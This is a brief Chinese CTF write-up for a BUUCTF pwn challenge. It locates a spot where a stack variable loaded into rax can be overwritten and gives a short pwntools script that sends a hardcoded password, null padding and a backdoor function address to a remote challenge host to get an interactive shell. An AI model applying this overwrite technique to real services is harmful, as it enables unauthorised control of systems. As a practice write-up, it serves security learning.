这题有点难度(我根本找不到漏洞,如果没有看wp,嘻嘻)
直接看漏洞所在地
所以我们只要把rax的值改成backdoor函数就可以了
可以看到给rax赋值的是var_18
算一下偏移
还要减去密码的长度 0x48 - 0x0f = 0x3a
exp
1
2
3
4
5
6
7from pwn import *
r = remote('node5.buuoj.cn',25722)
backdoor = 0x400e88
r.sendlineafter(': ','admin')
payload = b'2jctf_pa5sw0rd'+ b'\x00'*0x3a + p64(backdoor)
r.sendlineafter(': ',payload)
r.interactive()